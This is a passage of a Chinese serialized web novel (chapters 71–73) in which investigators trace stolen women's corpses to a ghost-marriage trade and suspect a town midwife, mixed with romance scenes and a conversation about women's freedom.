他顺势撩开帘子往车外看去,之间永安街依旧熙熙攘攘,小贩行人都是自在的模样。
可这喧闹的背后,又隐藏着什么样的光景呢?
“启蛰,停车。”
马车停下,启蛰回头问道:“怎么了大人?”
贺扶掀开帘子下车,启蛰跟在他身后,“大人你要买什么东西吗?为何不告诉我,我来买就好。”
贺扶理了理衣摆,回头笑道:“没什么,只是想下车走走,你先回去吧。”
启蛰摇头,“为何?不要。”
自从在崇安被贺扶那么一赶,启蛰是再怎么说都不愿意离开贺扶半步了。
贺扶也知道他担心,便安抚道:“无事,我只是在这街上走一走,又不会有人冲出来对我做什么。再说,我的伤也养得差不多了,若是真有人,我也定能敌得过。你就先回去吧!”
启蛰可是了半晌,还是拗不过贺扶,只能一步三回头地叮嘱贺扶注意安全。贺扶觉得好笑,他又不是手无缚鸡之力的孩童,竟是让他怕成这样。
等笑着送走了启蛰,贺扶唇角的弧度才缓缓平下来。
他轻轻叹了口气,顺着街道徐徐往前走。
夜中的风有些微凉,却让贺扶异常的放松。他好像许久没有这样独自散步了,上一次这般还是在学堂之时。
如今,却是物是人非事事休。
他仍然记得,那时的章执虽少年老成,正颜厉色,却还不似现在这般凛然。
宋拿云也还带着女儿家的小心思,闲时捣鼓些胭脂水粉、清雅乐器,只是面上不显情绪,不似如今这般清冷。
唯一让他觉得熟悉的怕是只有圣阳了,依旧是我行我素,口不对心。
……
但现在贺扶却不由心悸。如同一块美玉,只要有了一丝裂缝,紧接着便会一点一点的裂开,直到变成一地的碎片。
贺扶垂着眼帘走了许久,直到一缕风吹起他鬓边的发丝,他转头看向路边叫卖着的书贩。
鬼使神差的,他移步过去,只见那摊子上摆着许多薄薄的册子,五花八门的,有破旧的剑谱乐谱,诗文古籍,还有些话本子什么的。
贺扶从随意摆放的小册子里拿出一本十分熟悉的册子,他拿起翻了翻,竟然是他年少时越墙出去要抢的那本萧谱,其中乐曲都为贺扶所爱,隔了许久,再次拿到这年少时心心念念的东西,竟是没有了当时的喜悦,反倒生出些落寞来。
他只翻阅了一会儿就将那乐谱放回,转而拿起一旁的剑谱打算给启蛰带回去,付完钱,他便转身离开。
路过一家首饰铺子的时候又一次停了下来,他走进铺子,在货架上寻了许久。所见到的每一个首饰他都不禁想到这首饰配上温余时的模样。
他唇边不由勾起一抹笑意。
老板见来了客,带着笑迎上来,向贺扶介绍道:“贺大人眼光真好,这簪子可是由尚好的青玉所打的,您看着雕花,您看着簪身的水波纹饰,这可是顶好的做工啊!拿来送礼可是最好不过了!”
说罢,那老板又带着好奇问:“不过,不知贺大人打算把这簪子赠于何人?”
温余的身影又一次浮现在贺扶面前,他唇角的笑意更深。那老板也是见多了来给夫人或是心上人购置首饰的男子,无一不是贺扶这般模样,心下了然:“可是,赠于心上人的?”
贺扶眼睫颤了颤,似是在迟疑。但半刻之后,他还是抬头,自若道:“是。”
老板一时惊讶,过后又是大喜,赞道:“能得贺大人欣赏,这女子想必也是位极佳的闺秀!”
“她确实极好,她本身就极好。”贺扶的笑中不由带上一丝甜意。
老板喜笑颜开道:“那这簪子可要为您包起来?”
贺扶点点头,将簪子递给他,余光瞥到一旁架子上挂着的绶囊,开口问道:“不知我能否看看那绶囊?”
老板连连点头,递上那绣花精致的绶囊,道:“这绶囊可是我家夫人特意给我绣的呢!我家夫人第一次学绣艺就给我绣了这个,至今怕是有好几年了,我一直宝贝着!”
看着老板眼中的暖意,贺扶将绶囊还给他,接过已经用锦盒装起来的簪子。
临走前,老板还笑着将贺扶送至门口,“贺大人可定要让我们吃上您的喜酒啊!”
贺扶步子顿了顿,回头对那老板笑了笑。
会的……吧?
等他回到府中时,启蛰还站在门口等着他,见他平安回来也算是松了口气。下一瞬,他便惊讶道:“大人,您买这么多东西作甚?”
他一个个接过,一个个数着:“糖葫芦,马蹄糕,蜜饯,糖果,还有剑谱……剑谱!”
启蛰的眼睛亮了起来,“这是给我的吗?”
贺扶点头:“嗯,特意买给你的,可喜欢?”
“喜欢!”启蛰抱着那剑谱就不撒手,“大人送的什么启蛰都喜欢!”
贺扶笑了笑:“喜欢就好。”
“不过……”启蛰有些愁眉苦脸的看着桌上的东西,“葛巾已经睡下了,这些东西也不能放太久啊!”
“阿蓁呢?”贺扶自一进门就没有见温余,还以为她早就睡下了,可又听启蛰没有提到温余,一时疑惑。
启蛰拿了一串糖葫芦塞进嘴里,含含糊糊道:“她跟着嘉亲王出去了!”
“什么?”贺扶一时怔住了。
启蛰艰难地将那一颗糖葫芦咽下,面上也是愤愤:“您也觉得气吧!我就说怎么一回来见不到人呢
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!一打听竟然是和那嘉亲王跑了,她不知道嘉亲王向来不愿与您交好吗?还跟着人跑,真是胳膊肘往外拐!”
贺扶没有说话,只是手指轻轻摩擦着那带着花纹的锦盒。
“你也累了,先去休息吧,许是渡凌找阿蓁有事,莫要多想。”
启蛰拿着糖葫芦,怀里抱着剑谱,不情不愿地点点头后转身离开。
贺扶一个站在堂中,看着桌上堆成小山的吃食,都是甜的,都是温余喜欢的味道。
他坐在桌边,打开包着蜜饯的油纸,伸手捻起一块送进嘴里。
酸甜的味道瞬间侵占味蕾,果真是京城中最为受欢迎的蜜饯铺子。
方才启蛰说“气”,他生气吗?
好像没有,他从来不会轻易生气的。
可为何,总觉得哪里不对呢?究竟是哪里?
他又捻起一块蜜饯,忽得明白了。
原来是今日的蜜饯后劲有些酸了,甚至盖过了那一丝甜腻。
他点点头,又吃了一块。
是有些酸了……
……
怀剑镇,杨府门口。
温余弯腰扶着柱子,胃里翻江倒海。
一旁的尚卿依旧容光焕发,对那马夫叮嘱了几句后朝着温余走来。他走近问:“如何?够快吗?”
温余努力压下想吐的冲动,缓缓在尚卿伸出一根拇指,“够……快!”
尚卿笑了一声,“既然满意,那就快些进去吧。”
阚泽尚卿潇洒离去的背影,温余顺了顺胸膛后跟上去,问:“这就是那家丢了女儿尸体的商贾家?”
“没错,圣阳应该也是来这里了。”尚卿扣了扣门。
温余呼吸还未平复,尚卿道:“若是觉得不适,可以靠着我缓一会儿。”
“不用了,我自己缓缓就好。”温余礼貌拒绝。
“你不愿?那若是今日站在这里的是贺扶,你会靠吗?”尚卿收回手,定定看着温余。
“不是这个问题……”
“哪是什么问题?”
面对尚卿步步紧逼,温余打算直接说清楚算了,可就在这时门被人从里面打开。
走出一个眼下乌黑的小厮,“不知两位是?”
尚卿收回目光,道:“朝廷的。”
那小厮顷刻明白了两人的来意,迎两位进了门。
“方才来的那位姑娘呢?”温余向那小厮打听圣阳的下落。
小厮回答:“那姑娘问了之前那位霁尘君最后出现的地方后就出去了。”
“那她去哪儿了?”温余揉了揉眉心,这未免也太莽撞了!大晚上的,连对方的明细都不清楚,怎么就直接冲过去了?
“镇外的坟岗。”
坟岗,就是尸体失踪的那一片。
“怎么,你也要去找?”尚卿抱臂道。
温余摇了摇头,“现在太晚了,若是贸然过去怕是会出事,我们明天打听清楚了再去吧!今晚就先好好休息休息。”
她拍了拍尚卿的肩膀。
随后,小厮带着温余往客房去,尚卿看着她的背影,心中不断回味着那两个字:
我们……我们……
71. 丢尸案(三)
温余回到房间后借了纸笔向贺扶去了信,告知他怀剑镇的案子还有自己很安全,查完案子就回去了,让他不要担心。
随后她便歇下了,等到次日天光大亮,杨府的老爷派人请她前去书房。
她一进门便在房间正中看到了抱臂的圣阳和皮笑肉不笑的尚卿。
两人相对而立,一旁坐着的杨老爷轻轻擦了擦额上的汗。
温余看去,他眼睛都已经哭肿了。
“两位在等我吗?我到了,可以开始查案了。”温余自然地走上前,对两人都露出了一个无害的笑。
等两人各自哼了一声作为这场无声争斗的结尾,杨老爷才开口请二位再次入座。
就算是落座两人也是各坐一边,在中间留了一个极大的空位,温余顺势坐在中间将两人隔开,她问道:“杨老爷节哀,斗胆问一句,令爱是因何而死?”
听到她这般正经的语气,尚卿不由挑了挑眉。这话术怎的和某人那般相似?
杨老爷抹了抹眼角的泪:“我们家阿梓是因病而死的。”
“什么病?”温余又问。
“具体说不上来,阿梓自小便没了母亲,身体还不好,连门都很少出,我们都千万小心的护着,可是没想到竟这么早就……白发人送黑发人啊!没想到死了竟还遭遇如此大劫,简直是苍天无眼啊!苍天无眼啊!”
杨老爷哭得悲痛,温余安慰了他几句后继续问:“那令爱尸体消失得那夜,府中可有什么异动?”
杨老爷摇摇头,“没有,那夜我一直守在灵堂里,没有人进去过。”
“您确定自始至终没有离开过?”
杨老爷思索了许久后确信道:“没有过,自始至终都没有离开过。”
这便奇怪了,谁能在杨老爷的眼下将尸体盗走呢?
随后,温余又向杨老爷问了这些日子发生的怪事,除过人人得知的消息,也没什么其他线索。
“那您确定,霁尘君是在那片坟地失踪的吗?”温余道。
“这,霁尘君最后告诉我们的地方,确实是那片坟地,具体在哪儿,我也不清楚。”
向杨老爷打听好了消息,温余便打算和其余二人一同去坟地再探一遍。
马车上,温余问圣阳:“你昨夜可有发现什么?”
圣阳即刻摇了头,“什么都没发现。”
“那你是怎么知道霁尘君出事的?”温余好奇道。
圣阳皱了皱眉,似乎有些难以言说。
众人皆知她和宋拿云早就没了联系,见面几乎都是僵着脸,让她承认自己关注一个早已闹掰的旧友,还担心她的安全,简直是落她的面子!她才不会承认,可一旁的尚卿可不愿意帮她瞒着,直接道:“因为圣阳郡主派人注意着霁尘君,竟是连首辅大人都比不过的关心啊!”
“你是怎么……”话说一半,圣阳意识到自己变着法地承认了,便哼一声,冷笑道:“嘉亲王的消息还真是灵通啊!竟是连旁人的耳目都调查的一清二楚。”
“彼此彼此,不过圣阳郡主可听闻一句话叫做:螳螂捕蝉黄雀在后,说不准我们就是这蝉,还有人是背后的黄雀呢?”尚卿这话说得暧昧,似乎在说:有人还在背后盯着他两人,可又不直接说出是谁。
温余坐在两人之间,一时无言。
直到车外传来一道声音,前方的路马车进不去,只能下车步行。
三人下了车,圣阳道:“他知道你在这儿吗?”
温余知道她是在问贺扶,于是点头:“我昨夜给贺大人去了信。”
“你……”圣阳又欲开口,却见尚卿正盯着温余,眼中闪过一丝不明的情绪。她一把拉过温余,让她站在自己旁边,用她的身体将两人隔开,“你离他远一些。”
温余被拉得一个踉跄,一转头便见尚卿黑了脸。
“圣阳郡主大方啊,您就不怕贺扶和她成了,您可就真的没有退路了。”尚卿眯了眯眼,似乎想到了一个绝佳的方法,提议道,“不若我二人做个交易,你去找贺扶,把她给我,各取所需。”
“喂,你当着我的面说这些真的好吗?”温余目瞪口呆,见过密谋,没见过明谋,“况且我又不是物件,什么给你不给你的!”
尚卿没有在意温余的抗议,只是看着圣阳,圣阳却嗤笑一声:“本宫做事向来光明正大,不与竖子为谋!再说,没了贺扶,本宫就想不到抵抗他们的办法了吗?”
“倒是你……”圣阳又笑了一声,嘲讽道,“整日盯着贺扶,恨不得他立刻掉进泥潭里,看他发疯,看他被人戳脊梁骨,你当所有人都看不出来吗?”
尚卿停了步子,一双杏眼晦暗不明。
“等等,你们别吵了,我们不是还有正事吗?”温余看形势不对上前拉架,却被圣阳挡住,她道:“你可万万不要被他给骗了。他这人就是贺扶有的都想有,就算是贺扶身边的人也都要抢走。很久之前他对启蛰也是这般模样,没想到启蛰那小子轴得很,让他吃了个闭门羹。如今想卷土重来,对你也用一样的手段。”
“可比不上就是比不上,你就算模仿他的一举一动,也还是比不上,简直就是自取其辱。”
温余心下一惊,这圣阳说起话来没有一点度量,这样的话是个人听了都得发狂,更别说是尚卿了。
“我们先不要聊这个了,我们快点走,去查案子吧!”她只想快点结束这场战斗。
温余一手一个想要拉着两人走,但一个都拉不动,像是被钉在了原地一样。
她总算知道贺扶看她和启蛰吵架是什么感觉了!
“怎么不说话了?被戳中了心思,心虚了?”圣阳乘胜追击。
尚卿没有动作也没有发出一点声音,原本时刻带着笑意的脸此刻却是木了下来,若不是胸膛起伏,他整个人就像是一个精致的木头娃娃一样站在原地。
“好,那你们自己查吧,我既这般不受待见,我走便是。不过我可得提醒你一句,这个案子你若是要查,可要当心后果,免得日后出了事,后悔。”
说罢,尚卿用力甩开温余的手转身离去。
温余想要挽留却被圣阳拉住。
“他刚刚说日后出事,可是这案子还有什么隐情?而且他一个人走会不会出事?我们还是让他回来……”
“不会。”圣阳斩钉截铁道,“这人最擅长危言耸听,再说,他背后的人多着呢,可不会让他出事。”
温余还有些担心,但下一瞬便被圣阳拉着往前走。
“不是说要快些去查案吗?走吧,他走了还更好。”
这片坟地应该是用了很久的,里面还有很多老旧的墓碑,但被挖开的大多都是些新鲜的,最长时间不超过六个月。
“这些被挖的尸体除过都是女子还有什么相同点吗?”温余在坟地里转了一圈儿。
圣阳将一口已经有些腐朽的棺材踢开,检查棺材下的
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痕迹,“没有,美丑、贫富都没有既定的要求。”
那就怪了……
温余摸摸鼻子,又四处转了转后发现一个很特殊的坟包,“这里埋的应该也是一位女子吧?”
墓碑上写着“赵氏孤女之墓”。
“看这土的干湿应该是不久前下葬的,这一个为什么没有被挖出来?也没有被动过的痕迹。”
闻言,圣阳也从坟坑里跃出,走到温余旁看了一会儿,挽起袖子,“挖开看看不就知道了?”
看她立刻动手去挖,温余上了拦住:“这不太好吧,挖人家的坟。”
圣阳一脸奇怪:“有什么不太好的?不挖开看看怎么知道有什么不同?”
“我们不如先去看一看,问一问,这姑娘和其余人有什么不同?”温余提议道。
圣阳思索了一会儿,放下袖子点头:“好吧,走。”
“对了。”走了几步,圣阳忽然递给温余两张白色纸条,上面似乎写着两个人的生辰八字,“这东西是拿来做什么的?下葬要用到这个吗?”
温余接过看了看,“应该是一种习俗吧!可是为什么会有两个呢?难不成是挖坟的时候落下的?”
温余也一时半会想不清楚,只好将纸条收起,“先走吧,去镇上问一问。”
回到镇上,温余向杨府问到了这位赵姑娘的住址。她是个孤儿,在镇上也没什么朋友,唯一打过交道的大概只有附近的邻居了。
“你说赵家那姑娘?”瞎了一只眼的老婆婆坐在门前洗着菜。
“对,您对她有什么了解吗?”温余也坐在一边,顺手帮她递菜,而圣阳却像是见到了什么脏东西一样,离得老远。
“她啊,平时话也不多,但脾气特别大。没怎么读过书,也没怎么学过东西,据说八字差得要命!说什么天煞孤星!她父母也是因为这个不要她的!能活到现在还是靠我们几个邻居的帮扶。几个月前死了,也是她对面的那家人帮着埋的。年纪轻轻就死了,也还是挺可惜的。”
老婆婆轻轻摇着头,但隔了一会儿又道:“不过更可惜的还是那家里的媳妇。”
她看的方向正是赵姑娘对面的人家。
“怎么说?”温余问。
老婆婆嗐一声,“那家媳妇可是远近闻名的好媳妇,孝顺公婆,什么活都给家里包了,还生了五个儿子啊!可惜在生第六个的时候死了,那孩子也没保住。结果呢,死了还被人给偷走尸体,真是够惨的!”
“不过话说回来,有好些个人家死了的好媳妇都被人给偷了,也不知道偷去干什么!难不成有什么邪法子,长生不老什么的?”
听了老婆婆的话,温余只感觉脑内瞬间炸开,她猛得站起身,对远处的圣阳道:“我知道了!”
圣阳也直起身缓缓走来,“怎么了?”
温余激动地抓住圣阳的胳膊:“那些被偷了尸体的女子,有几个没有出阁的?”
“四个。”圣阳想了想道。
“那四个姑娘品行相貌如何?”温余又问。
“大多都是些很安分守己的女人,有些长的不好看但也是手脚麻利,经常上街卖东西,很多人都认识。”圣阳觉得奇怪,“你知道什么了?”
“我知道,偷尸体的人用那些尸体去做什么了!”温余笃定道。
圣阳问:“什么?”
温余将刚刚顺手放在怀中的纸条拿出来,一字一句道:“冥婚!”
72. 丢尸案(四)
绍王府,玉茗堂。
烈日西斜,几缕光越过窗洒在书案上,尚好的宣纸上是一行端正的楷书。
“渡凌带你去了何处?为何不曾与我说过……”
贺扶盯着自己的笔墨看了许久,最终还是将它拿起折地方正放在一边,重新拿出一张纸来。
他提笔又写:“可还安好,何时归来?”
这次,他看的时间更长了些。
良久,他又一次拿起纸将它折起来,一转头,被他折过的纸张竟已经堆成了小山。
他一愣后叹了口气,这未免有些太过浪费了……
正当他思索这些废纸如何再次利用的时候,一抹白色的影子从窗外飞进来,轻轻落在书案上。
贺扶上前去看,那是一只信鸽,脚上还绑着信。
莫不是温余……?
带着隐约的激动,他将那信小心翼翼地打开,只见信上是他熟悉的小楷。
“怀剑镇有疑案,蓁与嘉亲王圣阳郡主共同查探,案件结束后归。贺大人莫忧,一切安好。”
看完信,贺扶心中那一丝闷意也被一扫而空了,他唇角渐渐勾起一些弧度来,隔了许久后才将这封信收好,放在博古架上。
之后,他又独自坐了许久,等到日头彻底落了下去,燃了灯才唤来启蛰。
“大人何事?”启蛰额上还带着汗,看来方才是在练剑。
贺扶竟少见的没有注意到那几滴薄汗,而是笑道:“去拿些针线来,还有先前师父带来的浮光锦之类的布料都拿来。”
启蛰有些诧异:“您衣裳破了吗?送去锦绣坊补就好,不必您亲自动手的!”
贺扶摇头道:“并非如此,你去拿就好。”
自家大人吩咐,启蛰自然是要去办的,只是他着实不知贺扶要做什么,好像自从崇安一行后贺扶就变得怪怪的,不是买一堆吃食就是时不时的笑,像是被灌了迷魂汤一样!
莫不是鬼上身了?
启蛰狐疑地将贺扶要的东西拿来。
“好了,你先去休息吧。”贺扶似乎心情很好。
启蛰更奇怪了,他转过身一步三回头,终于在他出门前贺扶叫住了他:“对了,近来怀剑镇可有什么案子?”
启蛰略一思索,“怀剑镇?好像是丢了几个尸体,霁尘君也有去查。”
闻言贺扶点了点头,“好,你去休息吧。”
启蛰出了门后躲在窗边,偷窥屋内贺扶的动作。这还是他第一次做这么冒犯的事情呢!
毕竟这贺扶的行为实在太奇怪了!
启蛰用手扣着窗框,只见屋内灯火下,贺扶在一块绸缎上画了几笔,然后拿着剪刀剪开。
之后一阵忙活,终于做出了一个雏形。
像是一个绶囊,他做这东西干什么?
启蛰又凑近了些。
灯下的贺扶极其认真,甚至没有注意到窗外还有一个人在偷看。
桌上的烛火越燃越短,贺扶将那绶囊做好就已经是后半夜了。
启蛰在外看得是昏昏欲睡,听到屋内有了动作后猛得惊醒。
贺扶正拿着绶囊在身上比比划划,良久才满意地点点头。
疯了疯了,彻底疯了!启蛰眼睛瞪得老大,那可是浮光锦啊!价值千金!贺扶竟拿它来做绶囊?
暴殄天物啊!启蛰呼吸都变得困难起来。
他家大人好像真的疯了!!!
……
“那位公子没有回来吗?”
王室的身份太过惹眼,尚卿并没有留下自己的名字,所以温余要打听他的下落就只能唤他公子。
小厮疑惑道:“那公子不是同姑娘一同出去了吗?他没有回来啊?莫不是他也失踪了?!”
见小厮吓得不轻,温余立刻安抚道:“没有没有,他有些事情会京了,我就是想问他有没有回来留下什么东西,没有就算了。”
送走了小厮,温余才缓缓在亭中坐下。得知自己家女儿有可能是被旁人拿去配了冥婚,灵堂里的杨老爷哭得更伤心了,声音透过灵堂在厢房都听得十分清楚。
圣阳被吵得头疼,只好从房内出来和温余待在一起。
“吵死了!”圣阳恼道。
温余托腮看着她,“丧女本就很痛苦,又得知女儿死都不得安生,不难过才不对吧?”
圣阳没有说话,只是看着远方的月亮。
不知想到了什么,温余轻轻叹了一声。
圣阳回头:“你叹什么气?”
“因为那些女子。”温余心中有些闷闷的,今日在那些被盗了尸体的家中一个一个探问,越问她便觉得心中发冷。
那些女子,都是父母、夫家眼中的好女儿,好妻子,好母亲,但这么多的头衔里竟没有一个是她们自己。
赵家对面的那一家人,那位夫人为了给夫家传宗接代,一共生下了五个儿子,六个女儿,甚至最后连死都是为了生子,可能她的夫家呢?
她不过去世几月,那夫家便早已物色好了续弦,对于她尸体被盗一事也毫不关心。
这样的一生,对那位夫人来说真的值得吗?
不止那家,还有许多家。未出阁前孝敬父母,出阁后相夫教子,这些女子的一生似乎都被四方的院子困住,被家人捆住,好像没有一个人是为自己而活的。
为什么男子就能读书习武,建功立业,而女子就只能在深院中等到白头,磋磨到白头呢?就连死,都不能在碑上刻上自己的名字?
为何呢?
温余眼帘垂下,长睫在眼下打出一片阴影。
“你就是在为这个叹气?”圣阳挑了挑眉。
温余将脸埋进手臂中,闷闷道:“嗯,那些人就连死也不让这些姑娘们安生,着实是……太过分了!”
圣阳忽的笑了一声,“怕什么,反正你在贺扶身边又遇不到这样的事情。”
“可是若人人都独善其身,谁又来为这些女子讨公道呢?没有人教过她们诗书,没有人告诉她们山外还有更加辽阔的地方,也没有人对她们说‘你可以为自己而活’,所有人都在告诉她们,要温柔知耻,要相夫教子,三从四德,她们的一生好像就只有嫁人生子这一条路,这着实不公平!”
温余将头从手臂中抬起,看着圣阳的眼中满是不甘。
“你说我不会被这般对待,可是那只能算我幸运,若我没有遇到贺大人,或是贺大人没有带我走,那我与她们又有何区别?我是更为幸运的她们,我想为她们做些事情。”
圣阳的目光带了些不明的情绪,“那你想要怎么样?”
“我想为她们找一条路,一条更为宽阔的路,有更多选择的路。”温余坚定道,“让她们也可以去读书,去入仕,去四处游历,能看到更多的风景!让她们可以为自己而活!”
话音落下,仿佛万物都变得寂静。圣阳盯着温余看了很久,很久。
“可是这很困难,这世上那么多人,有人渴望自由,也会有人怀有成见,你这个愿望未免有些太大了。”
温余站起身,长长地舒了口气,“你有听过愚公移山的故事吗?里面有一句话叫:子子孙孙无穷匮也,我能开这个头就一定会有人做后继者,总会有一天,女子能挣脱桎梏,完完全全的成为自己。”
“哈……哈哈哈哈……”圣阳忽然笑了,“你还真是够幼稚的,幼稚得好玩。”
“这不是傻话,是认真的!想必圣阳郡主你也不愿意和你一般的女子受到这般不公平的对待吧?”温余凑上
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前去,眼中带着期待。
圣阳别过脸,“本宫可是当朝郡主,这些庶民过得如何与本宫有何关系?”
温余眸中闪过一丝失望,正当她要安慰自己没事的时候,圣阳又道:“不过,她们和本宫没关系,你和本宫有关系,所以这个忙,本宫帮定了!”
“真的?!”温余兴奋道。
“当然,你可是本宫的朋友,本宫对朋友可从来不吝啬。”圣阳抱臂,轻飘飘地看着温余。
温余鱼儿一般蹭到圣阳身边,直勾勾地盯着她:“那我们一起,你去边疆,我入朝廷,我们告诉天下女子,这两条路从来没有拒绝女子,这两条路,亦是出路。”
“你真是和贺扶年少时有得一拼。”圣阳唇角带着笑,她好像知道贺扶为何会对温余另眼相看了。
温余没有在意这个,而是激动地伸出小指,“那我们拉钩!”
圣阳一边道幼稚一边伸出小指和温余扣在一起,两人的背后是一轮极大极圆的月,她们为这满月系上一个结。
这个结,带着女子的香气。借着这一轮永恒的圆月,仿佛真能将这芳香送至后世。
许多年前,也是这样的满月,圣阳独自坐在廊下,远处是一片喜庆的红,她小小的身体在这般热闹的日子显得格外孤独。
今天是长公主成亲的日子,是她的姑姑成亲的日子,可她却怎么都开心不起来,因为她知道自己的姑姑不喜欢这个夫君。
远处廊下,似有人踏月光而来。
“阿钰,你为何不去堂中?皇后正在寻你。”
圣阳没有动作,只是呆呆地看着天上的月光。
贺扶也顺着她的目光看过去,感叹道:“今夜是个满月呢!”
“我不想姑姑和那个男人成亲。”圣阳忽然道。
这可是当今圣上亲自指派的亲事,她这话若是被传出去了定是要以“忤逆”之罪惩戒的。
她能这般直接的说出来,只是因为面前这这位是贺扶,他可不会四处乱说。
贺扶也知长公主的心上人另有其人,可此事关乎朝堂争斗,又有谁敢说一声不呢?就算是当今圣上的亲姐姐,也只能在皇权之下低头。
“这世上有很多事是由不得人的。”
“我日后也会像姑姑那样吗?被指婚给一个肥头大耳,极其讨厌的人?”圣阳眉头皱得极深。
她不愿意,她想凭自己的意愿生活,她甚至不想嫁人,她要做一个自由自在的人!像父亲那般驰骋疆场,或像幸安一样纵横朝野,反正不想被困在院子里,学那费力不讨好的女工。
“怀鸿鹄之志,安能被困于方寸之内?当翱翔于天,至死方休!”
圣阳的声音脆生生的,贺扶轻轻笑了一声,缓缓在她面前蹲下。
圣阳抬头:“你笑什么?难道你也觉得我很可笑?”
贺扶却摇了摇头,“自然不是。贺某相信,万般相信,巾帼绝不败须眉。”
他的眼神很干净,很温柔,只是被这般看着便仿佛能给人万般勇气,在周围众人都笑痴儿说梦时,他说:我相信你。
自远处起了一阵风,恰巧将一片落叶吹到圣阳手中,她握住那片落叶,“你为什么叫蓁?”
温余回答道:“因为桃之夭夭,其叶蓁蓁。蓁,为草木,似草木一般茂密生长,不屈、不退。”
好一个不屈不退!
圣阳又笑了一声,她忽得道:“我叫徐长钰。”
温余愣了愣,这好像是她第一次用“我”自称,也是第一次对她说出自己的名字。
“那我也可以像贺大人一样叫你阿钰吗?”温余小心翼翼地道。
圣阳伸手拿下温余发间的一片落叶,轻飘飘地留下一句“随你”后便转身离开了。
73. 丢尸案(五)
圣阳走后,温余又一个人在廊下坐了很久,前院灵堂的哭喊声也渐渐小了下来,直到细不可闻。许是杨老爷哭累了吧。
没了哭声,周围就只剩秋蝉的鸣叫。
温余盯着近处有些枯黄的落叶,已经被扫在了一块儿,堆在一棵树下,一旁还立着一个扫帚,看来是刚刚扫过没多久。
忽然,她眼中一亮,似乎有什么东西从树后跑过去了,是什么动物还是……人?
脑中还未下有所推测,温余就迅速向那处追去。
离得近了温余认出来那影子是个人,一个身材高大的男人。
“站住,你是什么人?”
出乎她所料,就这么一叫那人还真就停下了。
那人停下了,可温余却有些迟疑,他不会要杀自己灭口吧?可自己也没看到什么啊?
带着顾虑,温余一步一步走到那人身边,问他:“你是什么人?是来偷东西的还是另有图谋?”
那男人看着人高马大,回过头来却是怯怯地看着温余,他忽得跪下了,“求求您,求求您不要告诉老爷,我没有偷东西,没有什么图谋,只是想来看看小姐!”
小姐?温余一顿,他说的是杨家小姐?
“你是什么人,为什么要见杨家小姐?”温余问道。
男人跪在地上,恳切道:“我是杨家之前的仆人,前些日子被赶出去了,小姐对我有恩,我听闻小姐去世,所以才偷溜进来想送小姐最后一程,求求你不要告诉老爷,不然他会打死我的!”
明白面前这人没有恶意,温余才放松了些,将他扶起来,“可是杨家小姐的尸体已经被人盗走了,你可能见不到她最后一面了。”
闻言,男人如同晴天霹雳,直直就要往后倒去,还好温余及时将他扶住。
“不过,你应该可以去灵堂看看。”
温余见他这行尸走肉般的样子心头不忍,还是想为他找些机会。
杨老爷哭累了,应该已经会屋了,让这人去灵堂看看应该也没什么大问题。
温余带着那男人来到灵堂时,那男人一眼就看到了堂上的牌位,温余甚至还没有反应过来他就扑到了棺材前,涕泪横流。
“你可不要发出什么打动静,若是被人发现了我也不能保住你。”温余提醒道。
男人一边流泪一边点着头。
他跪了很久也哭了很久,回过头时脸上已经变得木然。
温余道:“你快些走吧。”
男人点了点头,正要走,屋外却忽然传来一阵脚步声。
“老爷,我就知道他在府外鬼鬼祟祟没安好心,你看吧!他又来缠着小姐了!”一个伶牙俐齿的家丁向杨老爷拱火。
杨老爷进入灵堂,看到站着的男人,一瞬间胡子飞起,指着他的手指微微颤抖:“你……你怎么还敢来?难道害死我家阿梓还不够吗?你就连死都不愿意放过她?!”
杨老爷气得浑身颤抖,温余上前扶住他,“什么叫他害死了令爱?令爱不是病逝的吗?”
“你懂什么?他、他……”杨老爷似乎下一刻就要厥过去了。
“这位姑娘你怕是被他给蒙骗了!”那家丁剜了男人一眼,向温余解释道,“这人在府里的时候就对我家小姐图谋不轨,缠着我家小姐,害得她夜夜难免,病重了多少?我家老爷心善,才只是将他赶走没有报官!如今我家小姐去世,他竟还骚扰我家小姐,简直是恶劣至极!”
说罢,他又补充一句:“说不准我家小姐的尸身就是他盗走的!真是恶心,老爷不如我们报官吧,把他抓起来!”
杨老爷艰难地点头:“对对,报官报官,我们报官!”
见那些家丁从屋外鱼贯而出,顷刻便将那男人给架了起来。男人挣扎道:“我不是盗尸贼!我不是!”
但杨家人全然不听他的叫喊,直到他喊出一句:“我知道盗尸贼的线索,你们先放开我!”
“什么?”温余拉住领头的家丁,“你先停手,让他说。”
“他知道什么?他不过是在骗你罢了!快兄弟们把他送官究办!不能放过他!”
温余拦不住那么多人只能眼睁睁看着他们将那男子带出府。
空气一下子安静下来,灵堂之内已是一片狼藉。温余无奈地叹了口气后先将灵堂内的东西摆好。
可在她准备将被挪了位置的棺材般到原处时却发觉了一丝不对劲。
她又敲了敲棺材,心下一动:这棺材不对劲!
这是一口通体漆黑的棺材,木头都用得是极好的,工艺自然也不差,再加杨老爷对女儿的爱惜,棺材定然是不能出一点纰漏,可偏偏在这棺身上,多了一个一指大的洞。
温余用手量了量,这个位置恰巧就是尸体头部的位置。
仔细看看,这孔不似打棺材的人出了错,而像是……有人刻意为之。
难道杨小姐没有死?假死?
为什么呢?那她的“尸体”会在哪里呢?
一阵风吹起了灵堂中的白色轻纱,一片轻轻地擦过温余的额头,忽的,她想起了之前在坟地里找到的纸条。
配冥婚看重生辰八字,那谁又能得知这么多人的生辰八字呢?这镇子中的居民世代居住在此,很少有人外出,也很少有人会搬来镇子。
在没有人过多人员流动的情况下,除过府衙又会有人知晓这么多人的生辰八字呢?
还有一个人……不,一种营生可以知晓镇内人的生辰八字。
——接生婆。
今日在走访时见过的那一家人,每次生产都是由同一个接生婆接生,而且那女子难产而死的时候也是那个接生婆在府衙确认过的。
这镇子里大多都是和铁水打交道的,能接生且能被众人信任的便只有那一位媒婆!
温余确信,这件案子一定与那接生婆有关系!
温余敲开圣阳的门,圣阳眉头紧锁,“又怎么了?”
“你陪我去个地方!”温余拉着圣阳就往外走。
那接生婆住在镇子的最边上,离坟地也是最近的,要有什么动作怕是也没多少人会发现。
“接生婆?你怀疑她?一个老媪颤颤巍巍的,能搬动尸体?”圣阳抱臂疑道。
温余解释道:“既然要配冥婚那一定会有男方,这接生婆应该就是和另一个镇子里的人做交易,算好生辰八字,然后提供尸体。而且这些尸体都是生前温良恭俭,受人赞扬的好女子,唯一没有被挑走的是那位被称作天煞孤星的赵家姑娘,想必男方也不会有人希望自家儿子娶这样的妻子。”
“这是在把尸体当做商品?随意买卖?”圣阳心中来气,一脚踹开那扇摇摇欲坠的门,屋内一片寂静。
“是啊,这
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些人就连尸体都不放过!”
两人一起走进屋中,却见屋内空无一人,简单潦草的陈设,除过生活必须的东西竟是没有一点人待过的生气?
